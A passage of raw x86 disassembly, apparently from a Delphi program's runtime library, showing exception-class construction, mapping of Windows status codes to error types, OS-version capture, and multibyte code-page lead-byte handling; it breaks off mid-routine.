CODE:00405230j ... push 100h lea eax, [ebp-312h] push eax mov eax, ds:off_4093D8 mov eax, [eax+4] push eax mov eax, ds:dword_40A4C8 call sub_402AB8 push eax call sub_40321C ; LoadStringA lea edx, [ebp-458h] mov eax, [esi] call sub_401A28 lea eax, [ebp-458h] mov [ebp-358h], eax mov byte ptr [ebp-354h], 4 lea eax, [ebp-10Dh] mov [ebp-350h], eax mov byte ptr [ebp-34Ch], 6 mov eax, [ebp-8] mov [ebp-348h], eax mov byte ptr [ebp-344h], 5 mov [ebp-340h], ebx mov byte ptr [ebp-33Ch], 6 mov [ebp-338h], edi mov byte ptr [ebp-334h], 6 lea eax, [ebp-358h] push eax push 4 lea ecx, [ebp-312h] mov edx, [ebp+8] mov eax, [ebp-4] call sub_4045A4 mov eax, [ebp-4] call sub_404058 pop edi pop esi pop ebx mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- align 4 dword_4052EC dd 0 ; DATA XREF: CODE:00405202o ; CODE:00405207o dword_4052F0 dd 2Eh, 0FBBCC481h, 68FFFFh, 8D000004h, 0E848244Ch, 0FFFFFE64h ; DATA XREF: CODE:00405239o dd 409394A1h, 388000h, 0F4A14F74h, 0E8004092h, 0FFFFC214h dd 0FFBF6BE8h, 8D006AFFh, 50042444h, 4C24448Dh, 0FFED27E8h dd 448D50FFh, 6A505024h, 0DE96E8F5h, 0E850FFFFh, 0FFFFDEC0h dd 448D006Ah, 6A500424h, 53A86802h, 0F56A0040h, 0FFDE7BE8h dd 0A5E850FFh, 0EBFFFFDEh, 8D406A36h, 50082444h, 4092D8A1h dd 4408B00h, 0A4C8A150h, 3DE80040h, 50FFFFD7h, 0FFDE9BE8h dd 201068FFh, 448D0000h, 8D500824h, 504C2444h, 8DE8006Ah dd 81FFFFDEh, 444C4h, 0C300h, 0FFFFFFFFh, 2, 0A0Dh ; =============== S U B R O U T I N E ======================================= sub_4053AC proc near ; CODE XREF: sub_405564+32p ; sub_4055E4+38p ... push ebx push esi push edi test dl, dl jz short loc_4053BB add esp, 0FFFFFFF0h call sub_401BAC loc_4053BB: ; CODE XREF: sub_4053AC+5j mov esi, ecx mov ebx, edx mov edi, eax lea eax, [edi+4] mov edx, esi call sub_402338 mov eax, edi test bl, bl jz short loc_4053E0 call sub_401C04 pop large dword ptr fs:0 add esp, 0Ch loc_4053E0: ; CODE XREF: sub_4053AC+23j mov eax, edi pop edi pop esi pop ebx retn sub_4053AC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053E8 proc near ; CODE XREF: sub_405638+77p ; sub_4057C0+127p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0 push ebx push esi push edi test dl, dl jz short loc_4053FC add esp, 0FFFFFFF0h call sub_401BAC loc_4053FC: ; CODE XREF: sub_4053E8+Aj mov esi, ecx mov ebx, edx mov edi, eax xor eax, eax push ebp push offset loc_405442 push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+var_4] push eax mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] mov eax, esi call sub_4045E4 mov edx, [ebp+var_4] lea eax, [edi+4] call sub_402338 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_405449 loc_405439: ; CODE XREF: sub_4053E8+5Fj lea eax, [ebp+var_4] call sub_4022E4 retn ; --------------------------------------------------------------------------- loc_405442: ; DATA XREF: sub_4053E8+1Do jmp loc_401FBC ; --------------------------------------------------------------------------- jmp short loc_405439 ; --------------------------------------------------------------------------- loc_405449: ; CODE XREF: sub_4053E8+59j ; DATA XREF: sub_4053E8+4Co mov eax, edi test bl, bl jz short loc_40545E call sub_401C04 pop large dword ptr fs:0 add esp, 0Ch loc_40545E: ; CODE XREF: sub_4053E8+65j mov eax, edi pop edi pop esi pop ebx pop ecx pop ebp retn 8 sub_4053E8 endp ; =============== S U B R O U T I N E ======================================= sub_405468 proc near ; CODE XREF: CODE:0040571Dp ; sub_405A68+Dp ... push ebx push esi push edi test dl, dl jz short loc_405477 add esp, 0FFFFFFF0h call sub_401BAC loc_405477: ; CODE XREF: sub_405468+5j mov esi, ecx mov ebx, edx mov edi, eax lea edx, [edi+4] mov eax, esi call sub_402F64 mov eax, edi test bl, bl jz short loc_40549C call sub_401C04 pop large dword ptr fs:0 add esp, 0Ch loc_40549C: ; CODE XREF: sub_405468+23j mov eax, edi pop edi pop esi pop ebx retn sub_405468 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4054A4 proc near ; CODE XREF: sub_403F08+14p ; sub_405564+51p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0 push 0 push ebx push esi push edi test dl, dl jz short loc_4054BA add esp, 0FFFFFFF0h call sub_401BAC loc_4054BA: ; CODE XREF: sub_4054A4+Cj mov esi, ecx mov ebx, edx mov edi, eax xor eax, eax push ebp push offset loc_405510 push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+var_4] push eax lea edx, [ebp+var_8] mov eax, esi call sub_402F64 mov eax, [ebp+var_8] mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] call sub_4045E4 mov edx, [ebp+var_4] lea eax, [edi+4] call sub_402338 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_405517 loc_405502: ; CODE XREF: sub_4054A4+71j lea eax, [ebp+var_8] mov edx, 2 call sub_402308 retn ; --------------------------------------------------------------------------- loc_405510: ; DATA XREF: sub_4054A4+1Fo jmp loc_401FBC ; --------------------------------------------------------------------------- jmp short loc_405502 ; --------------------------------------------------------------------------- loc_405517: ; CODE XREF: sub_4054A4+6Bj ; DATA XREF: sub_4054A4+59o mov eax, edi test bl, bl jz short loc_40552C call sub_401C04 pop large dword ptr fs:0 add esp, 0Ch loc_40552C: ; CODE XREF: sub_4054A4+77j mov eax, edi pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn 8 sub_4054A4 endp ; --------------------------------------------------------------------------- align 4 cmp byte ptr [eax+0Ch], 0 jz short locret_405543 call sub_401A58 locret_405543: ; CODE XREF: CODE:0040553Cj retn ; --------------------------------------------------------------------------- off_405544 dd offset dword_405548 ; DATA XREF: CODE:004066ACr dword_405548 dd 4554090Eh, 726F7272h, 8636552h, 1000000h, 0 ; DATA XREF: CODE:off_405544o dd 4004010h, 90000000h ; =============== S U B R O U T I N E ======================================= sub_405564 proc near ; CODE XREF: sub_4055E4:loc_405625p var_10 = dword ptr -10h var_C = byte ptr -0Ch push ebx push esi add esp, 0FFFFFFF8h xor ebx, ebx call sub_4012BC mov esi, eax jmp short loc_405575 ; --------------------------------------------------------------------------- loc_405574: ; CODE XREF: sub_405564+1Dj inc ebx loc_405575: ; CODE XREF: sub_405564+Ej cmp ebx, 6 jg short loc_405583 cmp esi, ds:dword_40917C[ebx*8] jnz short loc_405574 loc_405583: ; CODE XREF: sub_405564+14j cmp ebx, 6 jg short loc_40559D mov ecx, ds:dword_409180[ebx*8] mov dl, 1 mov eax, off_403634 call sub_4053AC jmp short loc_4055BA ; --------------------------------------------------------------------------- loc_40559D: ; CODE XREF: sub_405564+22j mov [esp+10h+var_10], esi mov [esp+10h+var_C], 0 push esp push 0 mov ecx, ds:off_4092D4 mov dl, 1 mov eax, off_403634 call sub_4054A4 loc_4055BA: ; CODE XREF: sub_405564+37j mov [eax+0Ch], esi pop ecx pop edx pop esi pop ebx retn sub_405564 endp ; --------------------------------------------------------------------------- align 4 off_4055C4 dd offset dword_4055C8 ; DATA XREF: CODE:00406697r dword_4055C8 dd 45540A0Eh, 70656378h, 63655274h, 8, 1, 401000h, 4 ; DATA XREF: CODE:off_4055C4o ; =============== S U B R O U T I N E ======================================= sub_4055E4 proc near ; DATA XREF: sub_405A68+33o push ebx mov ebx, edx mov edx, eax dec dl jz short loc_4055F9 dec dl jz short loc_405601 dec edx sub dl, 16h jb short loc_405609 jmp short loc_405625 ; --------------------------------------------------------------------------- loc_4055F9: ; CODE XREF: sub_4055E4+7j mov edx, ds:dword_40A5F4 jmp short loc_40562C ; --------------------------------------------------------------------------- loc_405601: ; CODE XREF: sub_4055E4+Bj mov edx, ds:dword_40A5F8 jmp short loc_40562C ; --------------------------------------------------------------------------- loc_405609: ; CODE XREF: sub_4055E4+11j and eax, 0FFh lea eax, ds:40919Ch[eax*8] mov ecx, [eax+4] mov eax, [eax] mov dl, 1 call sub_4053AC mov edx, eax jmp short loc_40562C ; --------------------------------------------------------------------------- loc_405625: ; CODE XREF: sub_4055E4+13j call sub_405564 mov edx, eax loc_40562C: ; CODE XREF: sub_4055E4+1Bj ; sub_4055E4+23j ... push ebx mov eax, edx jmp sub_401FF4 sub_4055E4 endp ; --------------------------------------------------------------------------- pop ebx retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405638 proc near ; CODE XREF: sub_4056F4+3p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFE0h push ebx push esi push edi xor ebx, ebx mov [ebp+var_20], ebx mov [ebp+var_4], ebx mov edi, ecx mov esi, edx mov ebx, eax xor eax, eax push ebp push offset loc_4056D4 push dword ptr fs:[eax] mov fs:[eax], esp test ebx, ebx jz short loc_40566D lea eax, [ebp+var_4] mov edx, ebx call sub_40237C jmp short loc_40567A ; --------------------------------------------------------------------------- loc_40566D: ; CODE XREF: sub_405638+27j lea edx, [ebp+var_4] mov eax, ds:off_409388 call sub_402F64 loc_40567A: ; CODE XREF: sub_405638+33j mov eax, [ebp+var_4] mov [ebp+var_1C], eax mov [ebp+var_18], 0Bh mov [ebp+var_14], esi mov [ebp+var_10], 0Bh mov [ebp+var_C], edi mov [ebp+var_8], 0 lea eax, [ebp+var_1C] push eax push 2 lea edx, [ebp+var_20] mov eax, ds:off_4093A8 call sub_402F64 mov ecx, [ebp+var_20] mov dl, 1 mov eax, off_403D3C call sub_4053E8 mov ebx, eax xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4056DB loc_4056C3: ; CODE XREF: sub_405638+A1j lea eax, [ebp+var_20] call sub_4022E4 lea eax, [ebp+var_4] call sub_4022E4 retn ; --------------------------------------------------------------------------- loc_4056D4: ; DATA XREF: sub_405638+1Ao jmp loc_401FBC ; --------------------------------------------------------------------------- jmp short loc_4056C3 ; --------------------------------------------------------------------------- loc_4056DB: ; CODE XREF: sub_405638+9Bj ; DATA XREF: sub_405638+86o mov eax, ebx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_405638 endp ; =============== S U B R O U T I N E ======================================= sub_4056E4 proc near ; CODE XREF: sub_4056F4+11p mov esp, ecx mov [esp+0], edx mov ebp, [ebp+0] jmp sub_401FF4 sub_4056E4 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4056F4 proc near ; DATA XREF: sub_405A68+67o arg_0 = dword ptr 8 push ebp mov ebp, esp call sub_405638 lea ecx, [ebp+arg_0] add ecx, 4 mov edx, [ebp+arg_0] call sub_4056E4 pop ebp retn 4 sub_4056F4 endp ; --------------------------------------------------------------------------- align 10h loc_405710: ; DATA XREF: sub_405A68+74o ; BSS:off_40A028o mov ecx, ds:dword_4092EC mov dl, 1 mov eax, dword_403D88+14h call sub_405468 call sub_401FF4 retn ; =============== S U B R O U T I N E ======================================= sub_405728 proc near ; CODE XREF: sub_4057A8+5p ; sub_40598C+20p mov eax, [eax] cmp eax, 0C0000092h jg short loc_40575D jz short loc_40578C cmp eax, 0C000008Eh jg short loc_40574F jz short loc_40578F sub eax, 0C0000005h jz short loc_405798 sub eax, 87h jz short loc_405786 dec eax jz short loc_405795 jmp short loc_4057A4 ; --------------------------------------------------------------------------- loc_40574F: ; CODE XREF: sub_405728+10j add eax, 3FFFFF71h sub eax, 2 jb short loc_40578C jz short loc_405792 jmp short loc_4057A4 ; --------------------------------------------------------------------------- loc_40575D: ; CODE XREF: sub_405728+7j cmp eax, 0C0000096h jg short loc_405775 jz short loc_40579B sub eax, 0C0000093h jz short loc_405795 dec eax jz short loc_405783 dec eax jz short loc_405789 jmp short loc_4057A4 ; --------------------------------------------------------------------------- loc_405775: ; CODE XREF: sub_405728+3Aj sub eax, 0C00000FDh jz short loc_4057A1 sub eax, 3Dh jz short loc_40579E jmp short loc_4057A4 ; --------------------------------------------------------------------------- loc_405783: ; CODE XREF: sub_405728+46j mov al, 3 retn ; --------------------------------------------------------------------------- loc_405786: ; CODE XREF: sub_405728+20j mov al, 4 retn ; --------------------------------------------------------------------------- loc_405789: ; CODE XREF: sub_405728+49j mov al, 5 retn ; --------------------------------------------------------------------------- loc_40578C: ; CODE XREF: sub_405728+9j ; sub_405728+2Fj mov al, 6 retn ; --------------------------------------------------------------------------- loc_40578F: ; CODE XREF: sub_405728+12j mov al, 7 retn ; --------------------------------------------------------------------------- loc_405792: ; CODE XREF: sub_405728+31j mov al, 8 retn ; --------------------------------------------------------------------------- loc_405795: ; CODE XREF: sub_405728+23j ; sub_405728+43j mov al, 9 retn ; --------------------------------------------------------------------------- loc_405798: ; CODE XREF: sub_405728+19j mov al, 0Bh retn ; --------------------------------------------------------------------------- loc_40579B: ; CODE XREF: sub_405728+3Cj mov al, 0Ch retn ; --------------------------------------------------------------------------- loc_40579E: ; CODE XREF: sub_405728+57j mov al, 0Dh retn ; --------------------------------------------------------------------------- loc_4057A1: ; CODE XREF: sub_405728+52j mov al, 0Eh retn ; --------------------------------------------------------------------------- loc_4057A4: ; CODE XREF: sub_405728+25j ; sub_405728+33j ... mov al, 16h retn sub_405728 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4057A8 proc near ; DATA XREF: sub_405A68+56o push ebx mov ebx, eax mov eax, ebx call sub_405728 and eax, 0FFh mov eax, ds:dword_40919C[eax*8] pop ebx retn sub_4057A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4057C0 proc near ; CODE XREF: sub_40598C+54p var_170 = dword ptr -170h var_16C = dword ptr -16Ch var_168 = byte ptr -168h var_164 = dword ptr -164h var_160 = byte ptr -160h var_15C = dword ptr -15Ch var_158 = byte ptr -158h var_154 = dword ptr -154h var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_144 = byte ptr -144h var_140 = dword ptr -140h var_13C = byte ptr -13Ch var_138 = dword ptr -138h var_134 = byte ptr -134h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_125 = byte ptr -125h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFE90h push ebx push esi xor eax, eax mov [ebp+var_170], eax mov [ebp+var_14C], eax mov [ebp+var_154], eax mov [ebp+var_150], eax mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_40597B push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+arg_0] mov ebx, [eax-4] cmp dword ptr [ebx+14h], 0 jnz short loc_405811 lea edx, [ebp+var_4] mov eax, ds:off_4093E4 call sub_402F64 jmp short loc_40581E ; --------------------------------------------------------------------------- loc_405811: ; CODE XREF: sub_4057C0+40j lea edx, [ebp+var_4] mov eax, ds:off_40937C call sub_402F64 loc_40581E: ; CODE XREF: sub_4057C0+4Fj mov esi, [ebx+18h] push 1Ch lea eax, [ebp+var_20] push eax mov eax, [ebx+0Ch] push eax call sub_4031FC ; VirtualQuery cmp [ebp+var_10], 1000h jnz loc_4058F0 push 105h lea eax, [ebp+var_125] push eax mov eax, [ebp+var_1C] push eax call sub_4031BC ; GetModuleFileNameA test eax, eax jz loc_4058F0 mov eax, [ebx+0Ch] mov [ebp+var_148], eax mov [ebp+var_144], 5 lea eax, [ebp+var_150] lea edx, [ebp+var_125] mov ecx, 105h call sub_402530 mov eax, [ebp+var_150] lea edx, [ebp+var_14C] call sub_403FAC mov eax, [ebp+var_14C] mov [ebp+var_140], eax mov [ebp+var_13C], 0Bh mov eax, [ebp+var_4] mov [ebp+var_138], eax mov [ebp+var_134], 0Bh mov [ebp+var_130], esi mov [ebp+var_12C], 5 lea eax, [ebp+var_148] push eax push 3 lea edx, [ebp+var_154] mov eax, ds:off_4093A0 call sub_402F64 mov ecx, [ebp+var_154] mov dl, 1 mov eax, off_403B74 call sub_4053E8 mov ebx, eax jmp short loc_40594A ; --------------------------------------------------------------------------- loc_4058F0: ; CODE XREF: sub_4057C0+77j ; sub_4057C0+94j mov eax, [ebx+0Ch] mov [ebp+var_16C], eax mov [ebp+var_168], 5 mov eax, [ebp+var_4] mov [ebp+var_164], eax mov [ebp+var_160], 0Bh mov [ebp+var_15C], esi mov [ebp+var_158], 5 lea eax, [ebp+var_16C] push eax push 2 lea edx, [ebp+var_170] mov eax, ds:off_4093B8 call sub_402F64 mov ecx, [ebp+var_170] mov dl, 1 mov eax, off_403B74 call sub_4053E8 mov ebx, eax loc_40594A: ; CODE XREF: sub_4057C0+12Ej xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_405982 loc_405957: ; CODE XREF: sub_4057C0+1C0j lea eax, [ebp+var_170] call sub_4022E4 lea eax, [ebp+var_154] mov edx, 3 call sub_402308 lea eax, [ebp+var_4] call sub_4022E4 retn ; --------------------------------------------------------------------------- loc_40597B: ; DATA XREF: sub_4057C0+2Bo jmp loc_401FBC ; --------------------------------------------------------------------------- jmp short loc_405957 ; --------------------------------------------------------------------------- loc_405982: ; CODE XREF: sub_4057C0+1BAj ; DATA XREF: sub_4057C0+192o mov eax, ebx pop esi pop ebx mov esp, ebp pop ebp retn sub_4057C0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40598C proc near ; DATA XREF: sub_405A68+61o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF0h push ebx xor edx, edx mov [ebp+var_10], edx mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_405A47 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] call sub_405728 and eax, 0FFh mov edx, eax add edx, 0FFFFFFFDh sub edx, 8 jb short loc_4059C8 jz short loc_4059DF dec edx sub edx, 0Ah jnb short loc_4059EA loc_4059C8: ; CODE XREF: sub_40598C+32j lea eax, ds:40919Ch[eax*8] mov ecx, [eax+4] mov eax, [eax] mov dl, 1 call sub_4053AC mov ebx, eax jmp short loc_405A1A ; --------------------------------------------------------------------------- loc_4059DF: ; CODE XREF: sub_40598C+34j push ebp call sub_4057C0 pop ecx mov ebx, eax jmp short loc_405A1A ; --------------------------------------------------------------------------- loc_4059EA: ; CODE XREF: sub_40598C+3Aj mov eax, [ebp+var_4] mov eax, [eax] mov [ebp+var_C], eax mov [ebp+var_8], 0 lea eax, [ebp+var_C] push eax push 0 lea edx, [ebp+var_10] mov eax, ds:off_4092AC call sub_402F64 mov ecx, [ebp+var_10] mov dl, 1 mov eax, off_4036E4 call sub_4053E8 mov ebx, eax loc_405A1A: ; CODE XREF: sub_40598C+51j ; sub_40598C+5Cj mov eax, ebx mov edx, off_40368C call sub_401B08 test al, al jz short loc_405A31 mov eax, [ebp+var_4] mov [ebx+0Ch], eax loc_405A31: ; CODE XREF: sub_40598C+9Dj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_405A4E loc_405A3E: ; CODE XREF: sub_40598C+C0j lea eax, [ebp+var_10] call sub_4022E4 retn ; --------------------------------------------------------------------------- loc_405A47: ; DATA XREF: sub_40598C+12o jmp loc_401FBC ; --------------------------------------------------------------------------- jmp short loc_405A3E ; --------------------------------------------------------------------------- loc_405A4E: ; CODE XREF: sub_40598C+BAj ; DATA XREF: sub_40598C+ADo mov eax, ebx pop ebx mov esp, ebp pop ebp retn sub_40598C endp ; --------------------------------------------------------------------------- align 4 dword_405A58 dd 0FFF897E8h, 1B8FFh, 65E80000h, 0C3FFFFC8h ; DATA XREF: sub_405A68+3Eo ; =============== S U B R O U T I N E ======================================= sub_405A68 proc near ; CODE XREF: CODE:loc_406822p mov ecx, ds:off_4092DC mov dl, 1 mov eax, off_4035D8 call sub_405468 mov ds:dword_40A5F4, eax mov ecx, ds:off_409364 mov dl, 1 mov eax, off_403A60 call sub_405468 mov ds:dword_40A5F8, eax mov eax, ds:off_4092B4 mov dword ptr [eax], offset sub_4055E4 mov eax, ds:off_409308 mov dword ptr [eax], offset dword_405A58 mov eax, ds:off_4092D0 mov edx, off_403514 mov [eax], edx mov eax, ds:off_409300 mov dword ptr [eax], offset sub_4057A8 mov eax, ds:off_40930C mov dword ptr [eax], offset sub_40598C mov eax, offset sub_4056F4 mov edx, ds:off_409374 mov [edx], eax mov eax, offset loc_405710 mov edx, ds:off_4092A8 mov [edx], eax retn sub_405A68 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_405AEC proc near ; CODE XREF: CODE:00406688p mov eax, ds:dword_40A5F4 mov byte ptr [eax+0Ch], 1 mov eax, ds:dword_40A5F4 mov edx, [eax] call dword ptr [edx-8] xor eax, eax mov ds:dword_40A5F4, eax mov eax, ds:dword_40A5F8 mov byte ptr [eax+0Ch], 1 mov eax, ds:dword_40A5F8 call sub_401A84 xor eax, eax mov ds:dword_40A5F8, eax mov eax, ds:off_4092B4 xor edx, edx mov [eax], edx mov eax, ds:off_409308 xor edx, edx mov [eax], edx mov eax, ds:off_4092D0 xor edx, edx mov [eax], edx mov eax, ds:off_409300 xor edx, edx mov [eax], edx mov eax, ds:off_40930C xor edx, edx mov [eax], edx mov eax, ds:off_409374 xor edx, edx mov [eax], edx retn sub_405AEC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_405B58 proc near ; CODE XREF: CODE:00406827p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = byte ptr -80h add esp, 0FFFFFF6Ch mov [esp+94h+var_94], 94h push esp call sub_4031EC ; GetVersionExA test eax, eax jz short loc_405BA6 mov eax, [esp+94h+var_84] mov ds:dword_409088, eax mov eax, [esp+94h+var_90] mov ds:dword_40908C, eax mov eax, [esp+94h+var_8C] mov ds:dword_409090, eax mov eax, [esp+94h+var_88] mov ds:dword_409094, eax mov eax, offset dword_409098 lea edx, [esp+94h+var_80] mov ecx, 80h call sub_402530 loc_405BA6: ; CODE XREF: sub_405B58+15j add esp, 94h retn sub_405B58 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_405BB0 proc near ; CODE XREF: sub_405C28+1Bp ; sub_405C4C+Bp push esi push edi mov edi, edx xor edx, edx test eax, eax jz short loc_405C20 cmp byte ptr [eax+edi], 0 jz short loc_405C20 test edi, edi jnz short loc_405BD8 mov al, [eax] and eax, 0FFh bt ds:dword_40909C, eax jnb short loc_405C20 mov dl, 1 jmp short loc_405C20 ; --------------------------------------------------------------------------- loc_405BD8: ; CODE XREF: sub_405BB0+12j mov esi, edi dec esi jmp short loc_405BDE ; --------------------------------------------------------------------------- loc_405BDD: ; CODE XREF: sub_405BB0+42j dec esi loc_405BDE: ; CODE XREF: sub_405BB0+2Bj test esi, esi jl short loc_405BF4 mov cl, [eax+esi] and ecx, 0FFh bt ds:dword_40909C, ecx jb short loc_405BDD loc_405BF4: ; CODE XREF: sub_405BB0+30j mov ecx, edi sub ecx, esi and ecx, 80000001h jns short loc_405C05 dec ecx or ecx, 0FFFFFFFEh inc ecx loc_405C05: ; CODE XREF: sub_405BB0+4Ej test ecx, ecx jnz short loc_405C0D mov dl, 2 jmp short loc_405C20 ; --------------------------------------------------------------------------- loc_405C0D: ; CODE XREF: sub_405BB0+57j mov al, [eax+edi] and eax, 0FFh bt ds:dword_40909C, eax jnb short loc_405C20 mov dl, 1 loc_405C20: ; CODE XREF: sub_405BB0+8j ; sub_405BB0+Ej ... mov eax, edx pop edi pop esi retn sub_405BB0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_405C28 proc near ; CODE XREF: sub_403F5C+37p push ebx push esi mov esi, edx mov ebx, eax xor eax, eax cmp byte ptr ds:dword_40A5AC, 0 jz short loc_405C48 mov eax, ebx call sub_4026E0 mov edx, esi dec edx call sub_405BB0 loc_405C48: ; CODE XREF: sub_405C28+Fj pop esi pop ebx retn sub_405C28 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_405C4C proc near ; CODE XREF: sub_404118+1Bp ; sub_405CE8+1Cp xor ecx, ecx cmp byte ptr ds:dword_40A5AC, 0 jz short loc_405C5E call sub_405BB0 mov ecx, eax loc_405C5E: ; CODE XREF: sub_405C4C+9j mov eax, ecx retn sub_405C4C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_405C64 proc near ; CODE XREF: sub_405C84+31p push ebx mov ebx, eax cmp byte ptr ds:dword_40A5AC, 0 jz short loc_405C7A push ebx call sub_40320C ; CharNextA sub eax, ebx pop ebx retn ; --------------------------------------------------------------------------- loc_405C7A: ; CODE XREF: sub_405C64+Aj mov eax, 1 pop ebx retn sub_405C64 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_405C84 proc near ; CODE XREF: sub_404F38+D1p push ebx push esi mov esi, edx mov ebx, eax mov eax, 1 cmp byte ptr ds:dword_40A5AC, 0 jz short loc_405CBA mov dl, [ebx+esi-1] and edx, 0FFh bt ds:dword_40909C, edx jnb short loc_405CBA mov eax, ebx call sub_4026E0 add eax, esi dec eax call sub_405C64 loc_405CBA: ; CODE XREF: sub_405C84+12j ; sub_405C84+25j pop esi pop ebx retn sub_405C84 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_405CC0 proc near ; CODE XREF: CODE:004051EAp push ebx push esi mov ebx, edx mov edx, ebx call sub_405CE8 mov esi, eax test bl, bl jz short loc_405CE3 test eax, eax jz short loc_405CE3 loc_405CD5: ; CODE XREF: sub_405CC0+21j mov esi, eax inc eax mov edx, ebx call sub_405CE8 test eax, eax jnz short loc_405CD5 loc_405CE3: ; CODE XREF: sub_405CC0+Fj ; sub_405CC0+13j mov eax, esi pop esi pop ebx retn sub_405CC0 endp ; =============== S U B R O U T I N E ======================================= sub_405CE8 proc near ; CODE XREF: sub_405CC0+6p ; sub_405CC0+1Ap push ebx push esi push edi mov ebx, edx mov esi, eax mov edx, ebx mov eax, esi call sub_4040F8 mov edi, eax test edi, edi jz short loc_405D22 loc_405CFE: ; CODE XREF: sub_405CE8+38j mov edx, edi sub edx, esi mov eax, esi call sub_405C4C sub al, 1 jb short loc_405D22 jz short loc_405D11 jmp short loc_405D12 ; --------------------------------------------------------------------------- loc_405D11: ; CODE XREF: sub_405CE8+25j inc edi loc_405D12: ; CODE XREF: sub_405CE8+27j inc edi mov edx, ebx mov eax, edi call sub_4040F8 mov edi, eax test edi, edi jnz short loc_405CFE loc_405D22: ; CODE XREF: sub_405CE8+14j ; sub_405CE8+23j mov eax, edi pop edi pop esi pop ebx retn sub_405CE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405D28 proc near ; CODE XREF: sub_405D9C+13p var_C = dword ptr -0Ch var_7 = byte ptr -7 push ebp mov ebp, esp add esp, 0FFFFFFF4h push ebx xor edx, edx mov [ebp+var_C], edx xor edx, edx push ebp push offset loc_405D8C push dword ptr fs:[edx] mov fs:[edx], esp push 7 lea edx, [ebp+var_7] push edx push 1004h push eax call sub_4031B4 ; GetLocaleInfoA lea eax, [ebp+var_C] lea edx, [ebp+var_7] mov ecx, 7 call sub_402530 mov eax, [ebp+var_C] push eax call sub_40319C ; GetACP mov edx, eax pop eax call sub_403F2C mov ebx, eax xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_405D93 loc_405D83: ; CODE XREF: sub_405D28+69j lea eax, [ebp+var_C] call sub_4022E4 retn ; --------------------------------------------------------------------------- loc_405D8C: ; DATA XREF: sub_405D28+Fo jmp loc_401FBC ; --------------------------------------------------------------------------- jmp short loc_405D83 ; --------------------------------------------------------------------------- loc_405D93: ; CODE XREF: sub_405D28+63j ; DATA XREF: sub_405D28+56o mov eax, ebx pop ebx mov esp, ebp pop ebp retn sub_405D28 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405D9C proc near ; CODE XREF: sub_405E14+93p ; sub_405E14+145p var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_0] add edi, 0FFFFFFECh push edi mov eax, ds:dword_40A5A0 call sub_405D28 push eax call sub_4031A4 ; GetCPInfo xor esi, esi jmp short loc_405DE7 ; --------------------------------------------------------------------------- loc_405DBE: ; CODE XREF: sub_405D9C+58j mov al, [edi+esi+6] mov bl, [edi+esi+7] sub bl, al jb short loc_405DE4 inc ebx mov [ebp+var_1], al loc_405DCE: ; CODE XREF: sub_405D9C+46j mov al, [ebp+var_1] and eax, 0FFh bts ds:dword_40909C, eax inc [ebp+var_1] dec bl jnz short loc_405DCE loc_405DE4: ; CODE XREF: 